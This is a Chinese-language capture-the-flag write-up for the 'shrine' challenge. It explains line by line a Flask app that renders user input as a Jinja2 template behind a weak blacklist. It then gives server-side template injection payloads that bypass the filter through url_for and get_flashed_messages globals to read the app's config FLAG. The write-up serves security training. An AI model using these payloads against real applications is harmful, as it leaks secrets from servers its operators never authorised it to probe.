题目
代码
import flask
import osapp = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')
@app.route('/')
def index():
return open(__file__).read()
@app.route('/shrine/')
def shrine(shrine):def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + sreturn flask.render_template_string(safe_jinja(shrine))
if __name__ == '__main__':
app.run(debug=True)
代审
import flask
导入 Flask 框架,Flask 是一个轻量级的 Web 应用框架。
import os
导入 os 模块,用于与操作系统交互,例如读取环境变量。
app = flask.Flask(__name__)
创建一个 Flask 应用实例,名为 app
。__name__
是一个内置变量,表示当前模块的名字。
app.config['FLAG'] = os.environ.pop('FLAG')
从环境变量中取出名为 'FLAG' 的值,并将其存储在 Flask 应用的配置中。os.environ.pop('FLAG')
会从环境变量中删除并返回 'FLAG' 的值。这意味着这个环境变量之后将不再存在。
@app.route('/')
定义一个路由装饰器,指定当访问应用的根 URL (/
) 时应执行哪个函数。
def index():
定义处理根 URL 请求的函数 index
。
return open(__file__).read()
打开当前文件(__file__
表示当前文件的路径),读取其内容,并返回。这意味着当访问应用的根 URL 时,用户会看到应用代码本身。
@app.route('/shrine/')
定义处理 /shrine/
URL 请求的函数 shrine
def safe_jinja(s):
定义一个嵌套函数 safe_jinja
,用于处理传入的字符串 s
。
s = s.replace('(', '').replace(')', '')
移除字符串 s
中所有的括号。
blacklist = ['config', 'self']
定义一个黑名单列表,包含不想在 Jinja2 模板中使用的词。
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
对于黑名单中的每个词,生成一个 Jinja2 模板代码片段,该片段将这个词设置为 None
。然后将这些片段与原始字符串 s
连接起来并返回。
return flask.render_template_string(safe_jinja(shrine))
使用 safe_jinja
函数处理传入的 shrine
字符串,然后使用 flask.render_template_string
渲染处理后的字符串作为模板。
if __name__ == '__main__':
检查当前模块是否是直接运行的主模块,而不是被其他模块导入
app.run(debug=True)
如果是主模块,则启动 Flask 应用,并启用调试模式。在调试模式下,应用会提供额外的错误信息,并可以实时重载代码。
题目想考的应该是flask模板注入
通过装饰器告诉我们访问/shrine/,目录会生成模板但是,存在过滤。
我们先在/shrine/目录下构造
playload验证是否存在模板注入
/shrine/{{3*4}}
falg值存放在app.config[‘flag’],但是黑名单过滤了config关键字
全局变量 url_for()函数和get_flashed_messages()函数,能够访问config对象,config 对象就是Flask的config对象,也就是 app.config 对象
同时_globals_ 函数,可以获取包含函数全局变量的字典
构造playload
/shrine/{{url_for.__globals__}}
找到flask.app为current_app
重新构造playload
/shrine/{{url_for.__globals__['current_app']['config']['FLAG']}}
/shrine/{{get_flashed_messages.__globals__['current_app']['config']['FLAG']}}
参考攻防世界-shrine题分析_攻防世界shrine-CSDN博客